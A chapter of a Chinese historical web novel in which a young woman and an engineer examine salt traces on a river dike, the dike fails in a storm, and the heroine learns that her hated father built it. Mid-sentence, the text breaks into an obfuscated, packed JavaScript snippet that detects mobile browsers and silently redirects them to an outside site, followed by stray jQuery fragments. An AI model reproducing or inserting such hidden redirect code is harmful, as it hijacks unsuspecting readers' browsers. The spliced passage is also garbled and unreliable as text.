吴畏显然是真的拿他们没办法了，面色一阵红一阵青，半天也没说出个字。


    “如今绥江水位不高，雨季之前补上就成。”她硬邦邦地说道。


    小吏漫不经心地应和着：“是这个理。”


    谢晦已站在堤坝边缘向下探望，忽然发现堤坝中位尚有一道白色的痕迹，粗细深浅不一，断断续续地，延伸到堤坝的另一端。


    这是什么东西？


    谢晦已不禁伸手拉了一下吴畏的衣袖，用目光询问她此处缘由。不料，吴畏这一看，竟当场皱紧了眉头。


    为了求证，她转头看向身边的官兵，“阿禄，你替我去取绳子来，我要下去看看。”


    “哎！”阿禄一口答应，跑下堤坝去了汛房。


    “吴老弟，你发现什么了？”小吏问道。


    “下去了才能确定。”


    吴畏死死盯着那道白色长痕，心中的疑惑只高不低。


    阿禄带了几个弟兄一同折返，将手里的两根粗麻绳交给了吴畏，“你站在那，我们几个替你捆好放下去。”


    “小事情，我自己来吧。”


    吴畏动作娴熟地用绳子在身上打了个结，绕到后背时，被谢晦已顺势接了过去，在她腰身上转了两圈。


    “风大浪高，小心行事。”谢晦已悄声叮嘱道。


    虽是有风声，可避免她的声音被旁人听去，吴畏忽然爽朗一笑：“放心吧，你师兄我下去多少次了，还轮不到你替了我。”


    说着，她还转头对那些官兵们笑了笑，“诸位帮我拉紧些，别让我在小师弟面前出糗啊！”


    阿禄笑骂道：“你这夯货，我偏第一个撒手，叫你非在后辈面前出风头。”


    “你试试看？叫你来年也升不了职务。”


    谢晦已接过吴畏手中的工具，替她收在手中。坝上几人合力缓缓将吴畏放了下去，那道瘦小身形在风中晃了晃，秤砣似的，逐渐下到江面附近。


    吴畏对上面做了个手势，随即摸出后腰上的匕首，一刀一刀在白痕上面刮刻，将掉下来的颗粒存放在腰间的囊袋之中。


    阿禄在上面喊了一声：“喂！好没好？开始起风了！”


    “再等等！”吴畏回应道。


    谢晦已低头望去，只见她又撑着外壁堆砌的条石，缓缓向旁侧移去，走到极限时，上面的人也配合地向她所在方位移动了几步。


    风声渐大了，江水愈发浑浊了。


    吴畏许是终于死了心，抬头对上面的人招了招手，阿禄几人又合力将她拉了上来。


    待站稳后，吴畏说出来的第一句话却是：


    “我需要找祖父确认一下。”


    ***


    “盐？”


    “吴公子，你是说，那一整条长长的白痕，是盐？”谢晦已惊愕不已。


    吴畏点头道：“是。盐不仅存在于堤坝上，还挂在黄土江岸边。”


    谢晦已坐在吴前辈身侧，面色凝重地看着吴畏，“绥江发源于西侧高山，定州又不与外海邻接，哪来的盐？”


    吴畏也想不通，索性转头看向吴前辈，“祖父，你知道吗？”


    吴前辈考量了许久，终是叹息一声：“阿畏，你真的看见江水里有明显分界？”


    “我不确定，因为起了风，”吴畏颇感遗憾地摇了摇头，“上层的江水速度极快，从西边而来直接盖了过去，我便是有心查看也看不清了。祖父，我依旧怀疑那里有暗河汇入，可这条暗河从未被记载在册啊。”


    吴前辈闻言，神色又是凝重几分，“捕风捉影的事，没有实际证据之前不要乱讲。”


    说罢，他又转头看向谢晦已，“谢小姐，此事您若想上报给指挥使大人，尽管往老头子我身上推。是我核查疏忽，阿畏她口无遮拦，嘴里没句话可信。”


    吴畏腾地站起身，气愤开口道：“祖父！堤坝若是出了问题，又赖不到你头上，你守了十余载已经够了，为何还要替他们顶罪？”


    “阿畏，”吴前辈难得严肃起来，“图纸是我画出来的，我就该为它负责一辈子。什么叫顶罪？堤坝上的那些孩子们，何尝不是无辜之人？”


    谢晦已看出他们在打哑谜，不禁出言询问道：“吴前辈可是有什么苦衷？李大人向来待人宽厚，由我代为转达，也能转圜一二。”


    “没什么。”吴前辈含糊其辞。


    吴畏却是替他作答道：“祖父又没有免死金牌，由我报官还是由祖父报官，都是一样的结果，还望谢小姐将今日之事如实转告给李大人，是非公道自在人心。”


    末了，她又补了一句：“我相信钦差大人不会轻纵这群人，圣上也不会轻纵定州乱象。”


    “胡闹！”吴前辈用茶杯重敲木桌，“像你这种一腔热血的愣头青多之又多，又有几个得了好下场？你祖父我早已不在官场，又能护你几分？”


    “既然如此，祖父当初为何叫旁人抢走了你的功劳？”


    吴畏毫不退让，“每逢寒凉阴雨天，你这双腿便要疼上整日，凭什么受累的是你，勘察地形的是你，监督堤坝的也是你，最终却是那人加官进爵，又因治理绥江之功，获赐免死金牌一枚？”


    “够了！”


    吴前辈呵斥一声，随后转头向谢晦已致歉：“阿畏说的话，还请谢小姐莫要当真。”


    谢晦已忙摆了摆手：“吴前辈放心，吴公子是有真才实学的，盛朝需要这样的人在。什么话该说，什么话不该说，我也明白。”


    思忖片刻，她又对祖孙二人说道：“但此事非同小可，若没有确切的证据，我自是不敢知会李大人的。”


    “这样也好，”吴畏回答道，“等风停了，我便再去一趟江塘。待确认后，我定会给谢小姐一个肯定的答复。”


    “吴公子送信到这里便好。”


    说着，谢晦已从怀中掏出一张事先准备好的字条，上面写着一个住处，“我的侍女会转达给我的。”


    “好。”


    “瞎起哄，好什么好？”


    几名女子围坐在厢房中，各自拿了自己的花样，跟着中间的那名女子学习针法。


    李兰畹笑道：“哪里不好啊？温小姐的绣工出神入化，我们喊你一声‘师父‘怎么了？”


    妙青觉察到了什么：“咦？温小姐绣的是鸳鸯呢，难怪不叫我们瞧。”


    “什么鸳鸯？温小姐这是恨嫁了？”谢晦已轻叩门扉，随即跨入门槛。


    此处是温若水购置的一套小院，离西城门近，又颇为隐蔽，谢晦已昨夜将妙青安顿在此处，并没有带她回温泉庄子，李灵濯也没有过问。


    看清来者后，温若水放下针线，一个箭步走到谢晦已身前，左看看，右看看，最终惊奇道：“谢小姐，你这身衣服好特别。”


    谢晦已“啊”了一声，后知后觉道：“方才管人借的，倒是忘了还回去。”


    “不急不急，叫我再多看两眼。我那几间成衣铺子正愁没有新样式呢，如今我也不好出面，不妨留在这边绘制花样。”


    温若水认认真真地打量她身上的江工服，“这样式便于劳作又十分简洁，倘若用在女子骑服上，或许能增添几分舒适。”


    说罢，她抬头看向谢晦已，“谢小姐，妙青留在这里，我就顺势使唤她几日啦？”


    谢晦已：“你要做什么？”


    温若水对她眨了眨眼睛：“让她帮我试新衣。她生得这样标致，走出去简直是我的活招牌，谢小姐不会这样小气吧？”


    谢晦已闻言看向妙青：“妙青，你意下如何？这会儿答应她的话，日后穿了丑衣服，可别向我抱怨啊。”


    妙青笑着连连摇头：“小姐，属下没有异议。”


    谢晦已又转头看向温若水，打趣道：“你是做商人的，可以你我的交情，难不成还想从我这里讨利？这件骑服所得分给妙青一成，如何？”


    “好说。”温若


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886716|176309||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    水爽快道。


    妙青完全没有想到会天降横财，连忙向她们二人行礼道：“多谢温小姐，多谢主子。”


    谢晦已伸手将她拉了起来，“好了，谢来谢去的怪麻烦的。都坐吧。”


    “是。”


    重新落座后，李兰畹率先开了口：“方才我便想问，姐姐，你是从江塘回来？”


    “对，有些情况超乎我的预期。”


    谢晦已将方才所闻一五一十地讲了出来，不过隐去了吴畏的女子身份。


    听罢，妙青第一个做出了反应：“主子，我这边也有要事禀报。”


    “安定侯给你下达命令了？”谢晦已转头看她。


    妙青点点头：“是。他让我列出一份名单，写上与李大人来往密切的所有官员，一旦有人前往江塘要立刻禀报他。我想，他定是知道些什么。”


    谢晦已又问：“你们二人昨夜宿在这边，可有瞧见什么吗？”


    温若水摇了摇头：“没什么异样。不过，夜深人静的时候，外面一起风屋门就咯吱咯吱的，真令人烦躁。”


    话音刚落，她们就听见了大雨倾盆而下的声响。温若水起身去关窗，可风吹得太烈，她使了九牛二虎之力才合上木窗，还被淋了一身雨水。


    “这雨怎么下得这样大？”


    天幕好像被忽然撕开一道口子，短短几瞬，便化作了笼罩全城的成线烟雾。


    以及夹在在雨雾中的呐喊，由远及近：


    “出事了！”


    “江塘出事了啊！”


    ***


    是夜，李灵濯回来得很晚。


    谢晦已提着雨伞站在外面，见他从马车走下来，她当即迎了上去。


    “你一直在等我？”


    李灵濯心情很不好，但是瞧见谢晦已在外面等着自己，他积攒了一天的怒气瞬间烟消云散。


    手中的伞被他接过，谢晦已顺势挽住了他的臂弯，“知道你今晨外出没拿伞。今日出了什么事？回来这样晚。”


    “堤坝那边出了点状况，”李灵濯的脸色有些阴沉，“你穿得少，进去再说。”


    待李灵濯沐浴出来，谢晦已正捧着本书坐在床榻上。


    李灵濯走过去，将书从她手中抽了出来。


    “这是谁写的游记？”李灵濯翻了几页，“你想去炬州？”


    “随便看看……”谢晦已忽然打了个喷嚏。


    李灵濯抬手去摸她的额头，“等了我多久？可是着凉了？我去给你弄碗姜汤。”


    “不用那么金贵，”谢晦已摇了摇头，随后依偎在他的怀中，“你在这里陪我就好。”


    难得见谢晦已如此依赖自己，李灵濯顺势揽住她，略带愧疚地解释道：


    “我被堤坝那边的事情绊住了。下雨前，泥土里忽然冒出来一些蚂蚁，还爬上了堤坝，我担心是烛夜搞的东西，于是留在现场盯着那群官兵，等他们把东西消灭干净了才回来。”


    “怎么这样突然？”谢晦已惊愕地抬起头，随后又有些担忧地垂下眸子，“还好眼下并非雨季。”


    李灵濯目光望向虚无，缓缓叹息了一声：


    “江塘从先帝时期就开始修，刚刚撑了十多年，当时主持绥江治理的官员，如今都还在朝任职。倘若是堤坝修筑有问题，倒也还能将当时的官员召到定州来审，只是一来一去的时间太久，我免不得要提早回京。”


    谢晦已想起吴畏的话，不禁询问：“是哪个官员？我听闻，当年因治水有功，先帝还赐了此人一块免死金牌。”


    “是当今的工部尚书，卢贤。”李灵濯回答道。


    原来是他。她的好父亲，如今已经是工部尚书了。


    听见这个名字，谢晦已缄默不语，可眼中的杀意却瞬间迸发，冷冽得像窗楹上经久不化的冰霜，恨不能直接杀入京城，将他的脑袋挂在南边的城门楼上。


    他正是通过南门将自己送出了京城。